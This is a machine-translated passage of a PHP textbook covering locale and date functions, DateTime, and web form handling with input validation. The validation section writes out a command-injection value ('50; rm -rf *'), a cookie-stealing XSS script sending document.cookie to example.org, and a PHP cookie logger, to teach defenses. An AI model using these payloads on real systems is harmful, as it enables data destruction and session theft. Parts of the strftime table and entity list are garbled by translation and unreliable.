setlocale()函数通过赋予一个新值来改变 PHP 的本地化默认值。区域设置信息是按进程而不是按线程维护的。如果您在多线程配置中运行,您可能会遇到区域设置的突然更改。如果另一个脚本也在更改区域设置,就会发生这种情况。其原型如下:

string setlocale(integer category, string locale [, string locale...])
string setlocale(integer category, array locale)

本地化字符串正式遵循以下结构:

language_COUNTRY.characterset

例如,如果您想要使用意大利语本地化,那么区域设置字符串应该设置为it_IT.utf8。以色列本地化将被设置为he_IL.utf8,英国本地化为en_GB.utf8,美国本地化为en_US.utf8。当一个给定的地区有几个字符集可用时,characterset组件就开始发挥作用了。例如,区域设置字符串zh_CN.gb18030用于处理蒙古语、藏语、维吾尔语和彝语字符,而zh_CN.gb3212用于简体中文。

您将看到 locale 参数可以作为几个不同的字符串或一个 locale 值数组来传递。但是为什么要传递不止一个地区呢?这一特性是为了应对不同操作系统的地区代码之间的差异。鉴于绝大多数 PHP 驱动的应用都以特定平台为目标,这应该很少成为问题;但是,该功能会在您需要时出现。

最后,如果您在 Windows 上运行 PHP,请记住微软已经设计了自己的本地化字符串集。您可以在 https://msdn.microsoft.com/en-us/library/ee825488(v=cs.20).aspx 检索语言和国家代码列表。

小费

在一些基于 Unix 的系统上,您可以通过运行命令locale -a来确定支持哪些语言环境。

支持六种不同的本地化类别:

  • LC_ALL : 这为以下五个类别设置了本地化规则。

  • LC_COLLATE : 字符串比较。这对于使用-和é等字符的语言非常有用。

  • LC_CTYPE : 人物分类与转换。例如,设置这个类别允许 PHP 使用strtolower()函数正确地转换成相应的大写表示。

  • LC_MONETARY : 货币表示法。例如,美国人用这种格式表示美元:$ 50.00;欧洲人用这种格式表示欧元:50,00。

  • LC_NUMERIC : 数值表示。例如,美国人用这种格式表示大数:1,412.00;欧洲人用这种格式表示大数:1.412,00。

  • LC_TIM E : 表示日期和时间。例如,美国人表示日期的方式是月,然后是日,最后是年。2010 年 2 月 12 日,将被表示为 2010 年 2 月 12 日。然而,欧洲人(以及世界其他地方的大部分人)将这个日期表示为 2010 年 2 月 12 日。一旦设置好,您就可以使用strftime()函数来产生本地化的格式。

假设您正在处理日期,并希望确保日期的格式符合意大利语言环境:

setlocale(LC_TIME, "it_IT.utf8");
echo strftime("%A, %d %B, %Y");

这将返回以下内容:

Venerdì, 21 Aprile, 2017

并非所有操作系统都支持区域设置字符串中使用的. utf8 符号。这是 macOS 的情况,你应该用“it_IT”来表示意大利语。您必须确保在操作系统上安装了所有的语言包。

要本地化日期和时间,您需要将setlocale()strftime()结合使用,这将在下面介绍。

本地化日期和时间

strftime()功能根据setlocale()指定的本地化设置格式化日期和时间。其原型如下:

string strftime(string format [, int timestamp])

strftime()的行为非常类似于date()函数,接受决定所请求日期和时间布局的转换参数。但是,这些参数与date()使用的参数不同,需要复制所有可用的参数(如表 12-2 所示,供您参考)。请记住,所有参数都将根据设置的语言环境产生输出。另请注意,其中一些参数在 Windows 上不受支持。

表 12-2

strftime()功能的格式参数

|

参数

|

描述

|

示例或范围

|
| --- | --- | --- |
| %a | 缩写的每周名称 | 老兄,杀了他 |
| %A | 完整的工作日名称 | 星期一,星期二 |
| %b | 缩写月份名 | 一月,二月 |
| %B | 完整的月份名称 | 一月,二月 |
| %c | 标准日期和时间 | 04/26/07 21:40:46 |
| %C | 世纪号 | Twenty-one |
| %d | 一个月中的第几天,带前导零 | 01, 15, 26 |
| %D | 相当于%m / %d / %y | 04/26/07 |
| %e | 一个月中的第几天,没有前导零 | Twenty-six |
| %g | 与%G的输出相同,但没有世纪 | 05 |
| %G | 数字年,根据%V设定的规则运行 | Two thousand and seven |
| %h | 与%b相同的输出 | 一月,二月 |
| %H | 数字小时(24 小时制),带前导零 | 00 到 23 |
| %I | 数字小时(12 小时制),带前导零 | 01 到 12 |
| %j | 一年中的数字日 | 001 到 366 |
| %l | 12 小时制,一位数小时前有空格 | 1 到 12 岁 |
| %m | 数字月份,带前导零 | 01 到 12 |
| %M | 数字分钟,带前导零 | 00 到 59 |
| %n | 换行符 | \n |
| %p | 午前和午后 | 上午,下午 |
| %P | 小写的午前和午后 | 上午,下午 |
| %r | 相当于%I:%M:%S %p | 下午 05 时 18 分 21 秒 |
| %R | 相当于%H:%M | nineteen past five p.m. |
| %S | 数字秒,带前导零 | 00 到 59 |
| %t | 制表符 | \t |
| %T | 相当于%H : %M : %S | 22:14:54 |
| %u | 数字工作日,其中 1 =星期一 | 1 到 7 |
| %U | 数字周数,其中一年的第一个星期日是一年的第一周的第一天 | Seventeen |
| %V | 数字周数,其中第 1 周=第一周> = 4 天 | 01 到 53 |
| %W | 数字周数,其中第一个星期一是第一周的第一天 | 08 |
| %w | 数值工作日,其中 0 =星期日 | 0 到 6 |
| %x | 基于区域设置的标准日期 | 04/26/07 |
| %X | 基于区域设置的标准时间 | 22:07:54 |
| %y | 数字年,无世纪 | 05 |
| %Y | 数字年,带世纪 | Two thousand and seven |
| %Z%z | 时区 | 东部夏令时 |
| %% | 百分比字符 | % |

通过将strftime()setlocale()结合使用,可以根据用户的当地语言、标准和习俗来格式化日期。例如,向旅游网站用户提供带有日期和票价的本地化路线是很简单的:

Benvenuto abordo, Sr. Sanzi<br />
<?php
   setlocale(LC_ALL, "it_IT.utf8");
   $tickets = 2;
   $departure_time = 1276574400;
   $return_time = 1277179200;
   $cost = 1350.99;
?>
Numero di biglietti: <?= $tickets; ?><br />
Orario di partenza: <?= strftime("%d %B, %Y", $departure_time); ?><br />
Orario di ritorno: <?= strftime("%d %B, %Y", $return_time); ?><br />
Prezzo IVA incluso: <?= money_format('%i', $cost); ?><br />

此示例返回以下内容:

Benvenuto abordo, Sr. Sanzi
Numero di biglietti: 2
Orario di partenza: 15 giugno, 2010
Orario di ritorno: 22 giugno, 2010
Prezzo IVA incluso: EUR 1.350,99

显示网页的最近修改日期

仅仅过了十年,网络已经开始看起来像一个包装工的办公室。文件到处都是,其中许多都是旧的、过时的,而且往往完全不相关。帮助访问者确定文档有效性的常见策略之一是在页面上添加时间戳。当然,手动这样做只会招致错误,因为页面管理员最终会忘记更新时间戳。然而,可以使用date()getlastmod() .来自动化这个过程。getlastmod()函数返回与执行的主脚本的最后修改时间相对应的时间戳,或者在出错的情况下返回FALSE。其原型如下:

int getlastmod()

如果将它与date() ,结合使用,那么提供关于页面上次修改时间和日期的信息是微不足道的:

$lastmod = date("F d, Y h:i:sa", getlastmod());
echo "Page last modified on $lastmod";

这将返回类似于以下内容的输出:

Page last modified on January 22, 2018 04:24:53am

getlastmod()函数查看处理请求的主脚本的最后修改时间。如果您的内容存储在一个数据库或一个单独的 HTML 文件中,只有当 PHP 文件被修改时,这个函数才会给出更新的日期和时间。您总是可以在数据库中存储一个修改时间,并随内容一起更新它来解决这个问题。

确定当月的天数

要确定当月的天数,请使用date()函数的t参数。考虑以下代码:

printf("There are %d days in %s.", date("t"), date("F"));

如果在四月份执行,将会输出以下结果:

There are 30 days in April.

确定任何给定月份中的天数

有时,您可能想确定某个月而不是本月的天数。单独使用date()函数是不行的,因为它需要时间戳,而您可能只有月份和年份。然而,mktime()功能可与date()结合使用,以产生所需的结果。假设您想确定 2018 年 2 月的天数:

$lastday = mktime(0, 0, 0, 2, 1, 2018);
printf("There are %d days in February 2018.", date("t",$lastday));

执行此代码片段会产生以下输出:

There are 28 days in February 2018.

从当前日期开始计算日期 X 天

确定未来或过去特定天数的精确日期通常很有用。使用strtotime()函数和 GNU date 语法,这样的请求是微不足道的。strtotime()函数不仅仅支持日期。它可以用来获取绝对或相对日期/时间的文本表示,并返回对应于该确切值的时间戳。假设您想知道 45 天后的日期,基于今天的日期 2018 年 1 月 21 日:

$futuredate = strtotime("+45 days");
echo date("F d, Y", $futuredate);

这将返回以下内容:

March 08, 2018

通过前置一个负号,您可以确定过去 45 天的日期(今天是 2018 年 1 月 21 日):

$pastdate = strtotime("-45 days");
echo date("F d, Y", $pastdate);

这将返回以下内容:

December 08, 2017

从今天(2018 年 1 月 21 日)算起 10 周零 2 天呢?

$futuredate = strtotime("10 weeks 2 days");
echo date("F d, Y", $futuredate);

这将返回以下内容:

April 04, 2018

日期和时间类

增强的日期和时间类提供了一个方便的面向对象的界面,还提供了管理不同时区的日期和时间的能力。虽然这个 DateTime 类也提供了一个函数接口,但是本节将重点介绍它的面向对象接口。

介绍 DateTime 构造函数

在使用DateTime class'特性之前,您需要通过 date 对象的类构造函数实例化它。这个构造函数的原型如下:

object DateTime([string time [, DateTimeZone timezone]])

DateTime()方法是类构造函数。您可以在实例化时设置日期,也可以稍后使用各种赋值函数(setters)来设置日期。要创建一个空的日期对象(将对象设置为当前日期),只需像这样调用DateTime():

$date = new DateTime();

要创建一个对象并将日期设置为 2018 年 1 月 21 日,请执行以下命令:

$date = new DateTime("21 January 2018");

您也可以设置时间,例如设置为晚上 9:55,如下所示:

$date = new DateTime("21 January 2018 21:55");

或者你可以这样设定时间:

$date = new DateTime("21:55");

事实上,您可以使用本章前面介绍的 PHP 的strtotime()函数支持的任何格式。关于支持的格式的其他例子,请参考 PHP 手册。

可选的timezone参数是指由 DateTimeZone 类定义的时区。如果此参数被设置为无效值或为空,将会生成 E_NOTICE 级别的错误,如果 PHP 被强制引用系统的时区设置,则可能会生成 E_WARNING 级别的错误。

格式化日期

为了格式化输出的日期和时间,或者方便地检索单个组件,可以使用format()方法。该方法接受与date()函数相同的参数。例如,要使用格式 2010-05-25 09:55:00pm 输出日期和时间,您可以这样调用format():

echo $date->format("Y-m-d h:i:sa");

设置实例化后的日期

一旦 DateTime 对象被实例化,就可以用setDate()方法设置它的日期。setDate()方法设置日期对象的日期、月份和年份,如果成功则返回TRUE,否则返回FALSE。其原型如下:

Boolean setDate(integer year, integer month, integer day)

我们把日期定在 2018 年 5 月 25 日:

$date = new DateTime();
$date->setDate(2018,5,25);
echo $date->format("F j, Y");

这将返回以下内容:

May 25, 2018

设置实例化后的时间

正如您可以在DateTime实例化之后设置日期一样,您也可以使用setTime()方法设置时间。setTime()方法设置对象的小时、分钟和秒,如果成功则返回TRUE,否则返回FALSE。其原型如下:

Boolean setTime(integer hour, integer minute [, integer second])

让我们把时间定在晚上 8 点 55 分;

$date = new DateTime();
$date->setTime(20,55);
echo $date->format("h:i:s a");

这将返回以下内容:

08:55:00 pm

修改日期和时间

您可以使用modify()方法修改DateTime对象。此方法接受与构造函数中使用的相同的用户友好语法。例如,假设您创建了一个值为May 25, 2018 00:33:00DateTime对象。现在您想将日期向前调整 27 小时,将其更改为May 26, 2018 3:33:00:

$date = new DateTime("May 25, 2018 00:33");
$date->modify("+27 hours");
echo $date->format("Y-m-d h:i:s");

这将返回以下内容:

2018-05-26 03:33:00

计算两个日期之间的差异

例如,计算两个日期之间的差异通常是有用的,以便为用户提供一种直观的方式来衡量即将到来的截止日期。考虑一个应用,其中用户支付订阅费来访问在线培训材料。一个用户的订阅即将结束,所以您想给他发一封提醒邮件,大意是“您的订阅将在 5 天后结束!立即续订!”

要创建这样的消息,您需要计算从今天到订阅终止日期之间的天数。您可以使用diff()方法来执行任务:

$terminationDate = new DateTime('2018-05-30');
$todaysDate = new DateTime('today');
$span = $terminationDate->diff($todaysDate);
echo "Your subscription ends in {$span->format('%a')} days!";

本节中描述的类和方法只涵盖了部分新的日期和时间特性,除了在前面的例子中使用了diff()方法。请务必查阅 PHP 文档以获得完整的摘要。

摘要

这一章涵盖了相当多的内容,首先概述了在典型的 PHP 编程任务中几乎每天都会出现的几个日期和时间函数。接下来是对古代日期赋艺术的一次旅行,在那里你学会了如何结合这些功能的能力来执行有用的时间任务。在本章的最后,我介绍了 PHP 面向对象的数据操作特性。

下一章关注的主题可能会激起你学习 PHP 的兴趣:用户交互性。我将通过表单进入数据处理,演示基本特性和高级主题,比如如何使用多值表单组件和自动化表单生成。

十三、表单

你可以随意使用一些技术术语,如关系数据库web 服务、会话处理LDAP ,但归根结底,你开始学习 PHP 是因为你想建立酷的、交互式的网站。毕竟,网络最吸引人的方面之一是它是双向媒体;网络不仅能让你发布信息,还提供了一种从同事、客户和朋友那里获取信息的有效手段。本章介绍了使用 PHP 与用户交互的一种最常见的方式:web 表单。总之,我将向您展示如何使用 PHP 和 web 表单来执行以下任务:

  • 将数据从表单传递到 PHP 脚本

  • 验证表单数据

  • 使用多值表单组件

在开始任何示例之前,让我们先介绍一下 PHP 如何接受和处理通过 web 表单提交的数据。

PHP 和 Web 表单

使 Web 如此有趣和有用的是它传播信息和收集信息的能力,后者主要是通过基于 HTML 的表单来完成的。这些表格用于鼓励网站反馈、促进论坛对话、收集在线订单的邮寄和账单地址等等。但是编写 HTML 表单只是有效接受用户输入的一部分;服务器端组件必须准备好处理输入。为此使用 PHP 是本节的主题。

因为你已经使用表单几百次甚至几千次了,所以本章不介绍表单语法。如果您需要关于如何创建基本表单的入门或复习课程,可以考虑查看网上的许多教程。

相反,本章回顾了如何结合使用 web 表单和 PHP 来收集和处理用户数据。

向 web 服务器发送数据和从 web 服务器接收数据时,首先要考虑的是安全性。浏览器使用的 HTTP 协议是纯文本协议。这使得服务器和浏览器之间的任何系统都可以读取并修改内容。特别是如果您正在创建一个收集信用卡信息或其他敏感数据的表单,您应该使用更安全的通信方式来防止这种情况。向服务器添加 SSL 证书相对容易,使用 LetsEncrypy ( https://letsencrypt.com )之类的服务就可以做到,而且不需要任何成本。当服务器安装了 SSL 证书时,通信将通过 HTTPS 完成,服务器将向浏览器发送一个公钥。该密钥用于加密来自浏览器的任何数据,并解密来自服务器的数据。服务器将使用匹配的私钥进行加密和解密。

将数据从一个脚本传递到另一个脚本有两种常用方法:GET 和 POST。虽然 GET 是默认的,但是您通常会希望使用 POST,因为它能够处理更多的数据,这是使用表单插入和修改大块文本时的一个重要特性。如果使用 POST,任何发送到 PHP 脚本的数据都必须使用第三章中介绍的$_POST语法来引用。例如,假设表单包含一个名为email的文本字段值,如下所示:

<input type="text" id="email" name="email" size="20" maxlength="40">

提交表单后,您可以引用文本字段值,如下所示:

$_POST['email']

当然,为了方便起见,您可以先将这个值赋给另一个变量,如下所示:

$email = $_POST['email'];

请记住,除了奇怪的语法之外,$_POST变量就像 PHP 脚本可以访问和修改的任何其他变量一样。他们只是以这种方式引用,以努力明确划分外部变量的来源。正如你在第三章中了解到的,这种约定适用于来自 GET 方法、cookies、会话、服务器和上传文件的变量。

让我们看一个简单的例子,演示 PHP 接受和处理表单数据的能力。

一个简单的例子

以下脚本呈现了一个提示用户输入姓名和电子邮件地址的表单。一旦完成并提交,脚本(名为subscribe.php)将这些信息显示回浏览器窗口。

<?php
    // If the name field is filled in
    if (isset($_POST['name']))
    {
       $name = $_POST['name'];
       $email = $_POST['email'];
       printf("Hi %s! <br>", $name);
       printf("The address %s will soon be a spam-magnet! <br>", $email);
    }
?>

<form action="subscribe.php" method="post">
    <p>
        Name:<br>
        <input type="text" id="name" name="name" size="20" maxlength="40">
    </p>
    <p>
        Email Address:<br>
        <input type="text" id="email" name="email" size="20" maxlength="40">
    </p>
    <input type="submit" id="submit" name = "submit" value="Go!">
</form>

假设用户完成两个字段并点击Go!按钮,将会显示类似如下的输出:

Hi Bill!
The address bill@example.com will soon be a spam-magnet!

在本例中,表单引用它所在的脚本,而不是另一个脚本。尽管这两种做法都被经常采用,但是参考原始文档并使用条件逻辑来确定应该执行哪些操作是很常见的。在这种情况下,条件逻辑规定,只有当用户提交了表单时,才会出现回显语句。

在将数据发送回它原来所在的脚本的情况下,就像前面的例子一样,可以使用 PHP 超全局变量$_SERVER['PHP_SELF']。执行脚本的名称会自动赋给该变量;因此,用它来代替实际的文件名将节省一些额外的代码修改,以防文件名以后发生变化。例如,前面示例中的<form>标记可以修改如下,但仍然会产生相同的结果:

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

HTML 过去仅限于几种基本的输入类型,但是随着几年前 HTML5 的引入,这种情况发生了变化,增加了对颜色、日期、本地日期时间、电子邮件、月份、数字、范围、搜索、电话、时间、url 和星期的支持。这些都是可以与输入标记上的 type 属性一起使用的选项。他们将使用允许本地化和验证的特定浏览器逻辑。

仅仅因为浏览器现在支持一些输入验证,并不意味着您可以跳过 PHP 脚本中用于接收输入的部分。不能保证客户端是浏览器。最好不要相信进入 PHP 脚本的输入。

验证表单数据

在理想的情况下,前面的例子足以接受和处理表单数据。现实情况是,网站不断受到来自全球各地的恶意第三方的攻击,他们戳戳外部接口以获取访问、窃取甚至破坏网站及其附带数据的方法。因此,您需要非常小心地彻底验证所有用户输入,不仅要确保它是以期望的格式提供的(例如,如果您希望用户提供一个电子邮件地址,那么该地址在语法上应该是有效的),还要确保它不会对网站或底层操作系统造成任何损害。

本节通过展示开发者选择忽略这一必要保护措施的网站所经历的两种常见攻击,向您展示这种危险有多严重。第一种攻击导致有价值的站点文件被删除,第二种攻击通过一种称为跨站脚本的攻击技术劫持随机用户的身份。本节最后介绍了一些简单的数据验证解决方案,这些解决方案将有助于补救这种情况。

文件删除

为了说明如果忽略用户输入的验证,事情会变得多么糟糕,假设您的应用要求将用户输入传递给某种叫做inventory_manager的遗留命令行应用。通过 PHP 执行这样一个应用需要使用一个命令执行函数,如exec()system()(这两个函数在第十章中都有介绍)。inventory_manager应用接受特定产品的 SKU 和应该重新订购的产品数量的建议作为输入。例如,假设樱桃奶酪蛋糕最近特别受欢迎,导致樱桃迅速枯竭。糕点师可能使用该应用再订购 50 罐樱桃(SKU 50XCH67YU),导致对inventory_manager的调用如下:

$sku = "50XCH67YU";
$inventory = "50";
exec("/usr/bin/inventory_manager ".$sku." ".$inventory);

现在,假设糕点师因烤箱烟雾过多而变得神经错乱,并试图通过传递以下字符串作为建议的重新订购数量来破坏网站:

50; rm -rf *

这导致在exec()中执行以下命令:

exec("/usr/bin/inventory_manager 50XCH67YU 50; rm -rf *");

inventory_manager应用确实会按预期执行,但是会立即尝试递归删除执行 PHP 脚本所在目录中的每个文件。

跨站点脚本

前一个场景演示了如果不过滤用户数据,有价值的站点文件会多么容易被删除;然而,通过恢复站点和相应数据的最近备份,这种攻击造成的损害可能会被最小化,但是最好在一开始就防止它发生。

还有另一种类型的攻击更难恢复,因为它涉及到对信任您网站安全性的用户的背叛。这种攻击被称为跨站脚本,它包括将恶意代码插入其他用户经常访问的页面(例如,在线公告板)。仅仅访问该页面就可能导致数据传输到第三方的站点,这可能允许攻击者稍后返回并冒充不知情的访问者。为了演示这种情况的严重性,让我们配置一个欢迎这种攻击的环境。

假设一家在线服装零售商向注册客户提供在电子论坛上讨论最新时尚趋势的机会。由于该公司急于将定制的论坛上线,它决定跳过对用户输入的过滤,认为它可以在以后的某个时间点处理此类问题。因为 HTTP 是一种无状态协议,所以通常将值存储在浏览器内存(Cookies)中,并在用户与站点交互时使用这些数据。将大部分数据存储在服务器站点上,而在浏览器中仅将一个密钥作为 cookie 存储也很常见。这通常被称为会话 id。如果能够获得不同用户的会话 id,攻击者就有可能冒充其他用户。

一个不道德的客户试图检索其他客户的会话密钥(存储在 cookies 中),以便随后进入他们的账户。信不信由你,只需要一点 HTML 和 JavaScript 就可以做到这一点,它们可以将所有论坛访问者的 cookie 数据转发给驻留在第三方服务器上的脚本。要了解检索 cookie 数据是多么容易,请导航到一个流行的网站,如 Yahoo!或者 Google,并在浏览器 JavaScript 控制台(浏览器开发工具的一部分)中输入以下内容:

javascript:void(alert(document.cookie))

您应该会看到该站点的所有 cookie 信息都发布到一个 JavaScript 警告窗口中,如图 13-1 所示。

img/314623_5_En_13_Fig1_HTML.jpg

图 13-1

显示访问 https://www.google.com 的 cookie 信息

使用 JavaScript,攻击者可以利用未经检查的输入,将类似的命令嵌入到网页中,然后悄悄地将信息重定向到能够将其存储在文本文件或数据库中的脚本。然后,攻击者使用论坛的评论发布工具将以下字符串添加到论坛页面:

<script>
 document.location = 'http://www.example.org/logger.php?cookie=' +
                      document.cookie
</script>

logger.php文件可能如下所示:

<?php
    // Assign GET variable
    $cookie = $_GET['cookie'];

    // Format variable in easily accessible manner
    $info = "$cookie\n\n";

    // Write information to file
    $fh = @fopen("/home/cookies.txt", "a");
    @fwrite($fh, $info);

    // Return to original site
    header("Location: http://www.example.com");
?>

如果电子商务网站没有将 cookie 信息与特定的 IP 地址进行比较(这种保护措施在决定忽略数据清理的网站上可能并不常见),攻击者所要做的就是将 cookie 数据组装成浏览器支持的格式,然后返回到从中挑选信息的网站。攻击者现在很有可能伪装成无辜的用户,可能进行未经授权的购买,破坏论坛,并造成其他破坏。

现代浏览器既支持内存 cookies,也支持仅 http cookie。这使得攻击者更难从注入的 JavaScript 访问 cookie 值。将会话 cookie 设置为 http-only 是通过将session.cookie_httponly = 1添加到 php.ini 文件来完成的。

净化用户输入

鉴于未经检查的用户输入可能对网站及其用户产生的可怕影响,人们会认为实施必要的保护措施一定是一项特别复杂的任务。毕竟,这个问题在所有类型的 web 应用中都很普遍,所以预防一定很困难,对吗?具有讽刺意味的是,防止这些类型的攻击实际上是一件微不足道的事情,首先通过几个函数之一传递输入,然后再用它执行任何后续任务。考虑如何处理用户提供的输入是很重要的。如果它作为数据库查询的一部分传递,您应该确保内容被视为文本或数字,而不是数据库命令。如果交还给用户或不同的用户,您应该确保内容中没有包含 JavaScript,因为这可能会被浏览器执行。

为此,有四个标准函数可用:escapeshellarg() , escapeshellcmd() , htmlentities()strip_tags()。您还可以访问本机过滤器扩展,它提供了各种各样的验证和净化过滤器。本节的剩余部分将对这些清理功能进行概述。

注意

请记住,本节(以及整个章节)中描述的安全措施虽然在许多情况下都有效,但只提供了许多可能的解决方案中的几个。因此,尽管您应该密切关注本章中讨论的内容,但您也应该确保阅读尽可能多的其他与安全相关的资源,以获得对该主题的全面理解。

网站由两个不同的组件构建而成:生成输出并处理用户输入的服务器端,以及呈现服务器提供的 HTML 和其他内容以及 JavaScript 代码的客户端。这种双层模式是安全挑战的根源。即使所有的客户端代码都是由服务器提供的,也没有办法确保它被执行或者不被篡改。用户可能不使用浏览器与服务器交互。出于这个原因,建议永远不要相信来自客户端的任何输入,即使您花时间用 JavaScript 创建了很好的验证函数,为遵循所有规则的用户提供了更好的体验。

转义 Shell 参数

escapeshellarg()函数用单引号分隔它的参数,并对引号进行转义。其原型如下:

string escapeshellarg(string arguments)

其效果是,当 arguments 被传递给 shell 命令时,它将被视为单个参数。这一点非常重要,因为它降低了攻击者将附加命令伪装成 shell 命令参数的可能性。因此,在前面描述的文件删除场景中,所有用户输入都应该用单引号括起来,如下所示:

/usr/bin/inventory_manager '50XCH67YU' '50; rm -rf *'

试图执行这将意味着50; rm -rf *将被inventory_manager视为请求的库存盘点。假设inventory_manager正在验证这个值以确保它是一个整数,那么调用将会失败,并且不会造成任何伤害。

转义外壳元字符

escapeshellcmd()函数在与escapeshellarg()相同的前提下运行,但是它清除潜在危险的输入程序名,而不是程序参数。其原型如下:

string escapeshellcmd(string command)

该函数通过对命令中的任何 shell 元字符进行转义来运行。这些元字符包括# & ; , | * ? ~ < > ^ ( ) [ ] { } $ \ \x0A \xFF`。

在用户输入可能决定要执行的命令名称的任何情况下,都应该使用escapeshellcmd()。例如,假设库存管理应用被修改为允许用户调用两个可用程序之一,foodinventory_managersupplyinventory_manager,分别传递字符串foodsupply,以及 SKU 和请求的数量。exec()命令可能如下所示:

exec("/usr/bin/".$command."inventory_manager ".$sku." ".$inventory);

假设用户遵守规则,任务将会很好地完成。然而,考虑一下如果用户将以下内容作为值传递给$command会发生什么:

blah; rm -rf *;
/usr/bin/blah; rm -rf *; inventory_manager 50XCH67YU 50

这假设用户也分别传入 50XCH67YU 和 50 作为 SKU 和库存编号。这些值无论如何都不重要,因为适当的inventory_manager命令永远不会被调用,因为一个假命令被传入以执行邪恶的rm命令。然而,如果首先通过escapeshellcmd()过滤这些材料,$command将看起来像这样:

blah\; rm -rf \*;

这意味着exec()将试图执行命令/usr/bin/blah rm -rf,当然这是不存在的。

将输入转换成 HTML 实体

htmlentities()函数将 HTML 上下文中具有特殊含义的某些字符转换成浏览器可以呈现的字符串,而不是作为 HTML 执行。其原型如下:

string htmlentities(string input [, int quote_style [, string charset]])

该函数将五个字符视为特殊字符:

  • &将被翻译成&

  • "将被翻译为&quot;(当quote_style被设置为ENT_NOQUOTES时)

  • >将被翻译成>

  • <将被翻译成<

  • '将被翻译为'(当quote_style被设置为ENT_QUOTES时)

回到跨站点脚本的例子,如果用户的输入首先通过htmlentities()传递,而不是直接嵌入到页面中并作为 JavaScript 执行,那么输入将完全按照输入的样子显示,因为它将被翻译成这样:

<scriptgt;
document.location ='http://www.example.org/logger.php?cookie=' +
                    document.cookie
</script>

从用户输入中剥离标签

有时最好是完全去除所有 HTML 输入的用户输入,而不管其意图如何。例如,当信息显示回浏览器时,基于 HTML 的输入可能特别成问题,就像留言板的情况一样。在留言板中引入 HTML 标记可能会改变页面的显示,导致页面显示不正确或根本不显示,如果标记包含 JavaScript,浏览器可能会执行该标记。这个问题可以通过将用户输入传递给strip_tags()来解决,它从一个字符串中移除所有标签(标签被定义为以字符<开始并以>结束的任何东西)。其原型如下:

string strip_tags(string str [, string allowed_tags])

输入参数str是将被检查标签的字符串,而可选输入参数 allowed_tags 指定您希望在字符串中允许的任何标签。例如,斜体标签(<i></i>)可能是允许的,但是像<td></td>这样的表格标签可能会对页面造成严重破坏。请注意,许多标签可以将 JavaScript 代码作为标签的一部分。如果标签被允许,则不会被移除。下面是一个例子:

<?php
    $input = "I <td>really</td> love <i>PHP</i>!";
    $input = strip_tags($input,"<i></i>");
    // $input now equals "I really love <i>PHP</i>!"
?>

使用过滤器扩展验证和净化数据

因为数据验证是一项非常普通的任务,所以 PHP 开发团队在 5.2 版本中为该语言添加了本地验证特性。称为过滤器扩展,您不仅可以使用这些新功能来验证数据(如电子邮件地址)以满足严格的要求,还可以清理数据,修改数据以符合特定的标准,而无需用户采取进一步的操作。

为了使用过滤器扩展来验证数据,您将从许多可用的过滤器和净化类型( http://php.net/manual/en/filter.filters.php )中选择一种,甚至可以选择编写自己的过滤器函数,将类型和目标数据传递给filter_var()函数。例如,要验证一个电子邮件地址,您需要传递FILTER_VALIDATE_EMAIL标志,如下所示:

$email = "john@@example.com";
if (! filter_var($email, FILTER_VALIDATE_EMAIL))
{
    echo "INVALID E-MAIL!";
}

FILTER_VALIDATE_EMAIL标识符只是当前可用的许多验证过滤器之一。表 13-1 总结了当前支持的验证过滤器。

表 13-1

筛选器扩展的验证功能

|

预定日期

|

标识符

|
| --- | --- |
| 布尔值 | FILTER_VALIDATE_BOOLEAN |
| 电子邮件地址 | FILTER_VALIDATE_EMAIL |
| 浮点数 | FILTER_VALIDATE_FLOAT |
| 整数 | FILTER_VALIDATE_INT |
| IP 地址 | FILTER_VALIDATE_IP |
| mac 地址 | FILTER_VALIDATE_MAC |
| 正则表达式 | FILTER_VALIDATE_REGEXP |
| 资源定位符 | FILTER_VALIDATE_URL |

您可以通过将标志传递给filter_var()函数来进一步调整这八个验证过滤器的行为。例如,您可以通过分别传入FILTER_FLAG_IPV4FILTER_FLAG_IPV6标志来请求只提供 IPV4 或 IPV6 IP 地址:

$ipAddress = "192.168.1.01";
if (!filter_var($ipAddress, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6))
{
    echo "Please provide an IPV6 address!";
}

查阅 PHP 文档以获得可用标志的完整列表。

用过滤器扩展净化数据

正如我提到的,还可以使用过滤器组件来净化数据,这在处理打算发布在论坛或博客评论中的用户输入时非常有用。例如,要从一个字符串中删除所有标签,可以使用FILTER_SANITIZE_STRING:

$userInput = "Love the site. E-mail me at <a href='http://www.example.com'>Spammer</a>.";
$sanitizedInput = filter_var($userInput, FILTER_SANITIZE_STRING);
// $sanitizedInput = Love the site. E-mail me at Spammer.

目前总共支持 10 个净化过滤器,总结在表 13-2 中。

表 13-2

过滤器扩展的净化功能

|

标识符

|

目的

|
| --- | --- |
| FILTER_SANITIZE_EMAIL | 从字符串中删除除 RFC 822 ( https://www.w3.org/Protocols/rfc822/ )中定义的电子邮件地址中允许的字符之外的所有字符。 |
| FILTER_SANITIZE_ENCODED | URL 编码一个字符串,产生与urlencode()函数返回的结果相同的输出。 |
| FILTER_SANITIZE_MAGIC_QUOTES | 使用addslashes()函数转义带有反斜杠的潜在危险字符。 |
| FILTER_SANITIZE_NUMBER_FLOAT | 删除任何会导致 PHP 无法识别的浮点值的字符。 |
| FILTER_SANITIZE_NUMBER_INT | 删除任何会导致 PHP 无法识别的整数值的字符。 |
| FILTER_SANITIZE_SPECIAL_CHARS | HTML 编码'、"、和&字符,以及任何 ASCII 值小于 32 的字符(包括制表符和退格等字符)。 |
| FILTER_SANITIZE_STRING | 剥离所有标签,如和 |
| FILTER_SANITIZE_STRIPPED | “字符串”过滤器的别名。 |
| FILTER_SANITIZE_URL | 从字符串中删除所有字符,除了 RFC 3986 ( https://tools.ietf.org/html/rfc3986 )中定义的 URL 中允许的字符。 |
| FILTER_UNSAFE_RAW | 与各种可选标志一起使用,FILTER_UNSAFE_RAW可以以各种方式剥离和编码字符。 |

与验证特性一样,过滤器扩展也支持各种标志,这些标志可用于调整许多净化标识符的行为。查阅 PHP 文档以获得支持标志的完整列表。

使用多值表单组件

多值表单组件(如复选框和多选框)极大地增强了基于 web 的数据收集能力,因为它们使用户能够同时为给定的表单项目选择多个值。例如,考虑一个用于评估用户对计算机相关兴趣的表单。具体来说,你想让用户指出他感兴趣的编程语言。使用几个文本字段和一个多选框,这个表单看起来可能类似于图 13-2 所示。

img/314623_5_En_13_Fig2_HTML.jpg

图 13-2

创建多选框

图 13-1 所示多选框的 HTML 可能如下所示:

<select name="languages[]" multiple="multiple">
    <option value="csharp">C#</option>
    <option value="javascript">JavaScript</option>
    <option value="perl">Perl</option>
    <option value="php" selected>PHP</option>
</select>

